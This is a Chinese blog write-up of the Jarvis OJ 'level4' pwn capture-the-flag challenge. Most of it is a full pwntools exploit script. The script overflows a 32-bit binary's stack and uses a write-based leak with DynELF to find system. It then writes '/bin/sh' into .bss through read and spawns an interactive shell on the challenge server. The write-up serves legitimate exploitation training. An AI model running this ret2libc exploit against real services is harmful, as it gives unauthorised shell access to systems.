(Jarvis Oj)(Pwn) level4

最新推荐文章于 2025-10-15 11:43:37 发布

原创最新推荐文章于 2025-10-15 11:43:37 发布 · 1.2k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

pwn 专栏收录该内容

39 篇文章

订阅专栏

本文介绍了在解决Jarvis Oj的Pwn level4时遇到的挑战，包括没有libc文件、无法直接找到system和/bin/sh字符串。通过学习并应用DynELF，成功找到system地址，并利用read函数将'bin/sh'写入.bss段，从而完成挑战。

(Jarvis Oj)(Pwn) level4

先看一下保护措施，没什么奇怪的地方。
这里写图片描述
这次并没有给libc的文件，开始通过泄露得到的__libc_start_main地址对照libc库，并没有成功。于是就学了一波DynELF，这个模块的原理还是不太清楚（玄学），以后来填。总之利用这个模块可以找到system的地址，但是找不到”/bin/sh”这个字符串位置，但是我们可以控制read函数，所以可以通过调用read函数，将”bin/sh”写入到.bss段中，于是所有条件都齐了，写得脚本。

from pwn import *
conn=remote('pwn2.jarvisoj.com','9880')
#conn=process('./level4')
e=ELF('./level4')
pad=0x88
write_plt=e.symbols['write']
vul_addr=0x804844b
bss_addr=0x0804a024
def leak(address):
    payload1='a'*pad+"BBBB"+p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    conn.sendline(payload1)
    data=conn.recv(4)
    return data 
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print hex(system_addr)
read_plt=e.symbols['read']
payload2='a'*pad+"BBBB"+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
conn.sendline(payload2)
conn.send("/bin/sh\x00")
payload3="a"*pad+"BBBB"+p32(system_addr)+'dead'+p32(bss_addr)
conn.sendline(payload3)
conn.interactive()